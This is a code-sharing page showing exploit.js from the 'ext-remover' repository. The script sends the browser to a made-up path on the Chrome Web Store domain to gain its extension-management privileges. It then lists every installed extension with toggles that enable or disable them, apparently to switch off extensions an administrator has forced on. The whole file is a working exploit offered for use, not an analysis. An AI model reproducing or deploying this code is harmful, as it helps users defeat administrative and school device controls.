Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
3kh0
GitHub Repository: 3kh0/ext-remover
Path: blob/main/exploit.js
46700 views
1
if (location.host != "chrome.google.com" || !location.pathname.startsWith("/webstork")) {
2
location.href = "https://chrome.google.com/webstork" + performance.now().toString(16).slice(1);
3
}
4
5
const style = document.createElement("style");
6
document.head.replaceChildren(style);
7
style.innerText = `
8
9
body {
10
margin: 0;
11
background-color:#121212;
12
}
13
table {
14
width: 100%;
15
}
16
tr:nth-child(even) {
17
background-color: #2d2d2d;
18
}
19
tr:hover {
20
background-color: #ddd;
21
}
22
td {
23
text-align: center;
24
border: 1px solid #352e3f;
25
padding: 8px;
26
font-family: Arial, Helvetica, sans-serif;
27
border-collapse: collapse;
28
background-color: #1f1f1f;
29
color: white;
30
}
31
label {
32
position: relative;
33
display: inline-block;
34
width: 40px;
35
height: 23px;
36
}
37
input {
38
opacity: 0;
39
width: 0;
40
height: 0;
41
}
42
span {
43
position: absolute;
44
cursor: pointer;
45
top: 0;
46
left: 0;
47
right: 0;
48
bottom: 0;
49
background-color: #8c8c8c;
50
transition: .4s;
51
border-radius: 23px;
52
}
53
span:before {
54
position: absolute;
55
content: "";
56
height: 17px;
57
width: 17px;
58
left: 3px;
59
bottom: 3px;
60
background-color: #1e1e1e;
61
transition: .4s;
62
border-radius: 50%;
63
}
64
input:checked + span {
65
background-color: #bb86fc;
66
}
67
input:focus + span {
68
box-shadow: 0 0 1px #2196F3;
69
}
70
input:checked + span:before {
71
transform: translateX(17px);
72
}
73
`;
74
75
chrome.management.getAll(extensions => {
76
const table = document.createElement("table");
77
for (const {id, enabled, name, installType} of extensions) {
78
const row = table.appendChild(document.createElement("tr"));
79
const label = row
80
.appendChild(document.createElement("td"))
81
.appendChild(document.createElement("label"));
82
83
const input = label.appendChild(document.createElement("input"));
84
input.type = "checkbox";
85
input.checked = enabled;
86
input.addEventListener("change", () => {
87
chrome.management.setEnabled(id, input.checked);
88
});
89
90
label.appendChild(document.createElement("span"));
91
row.appendChild(document.createElement("td")).innerText = name;
92
row.appendChild(document.createElement("td")).innerText = id;
93
row.appendChild(document.createElement("td")).innerText = installType;
94
}
95
document.body.replaceChildren(table);
96
});
97
98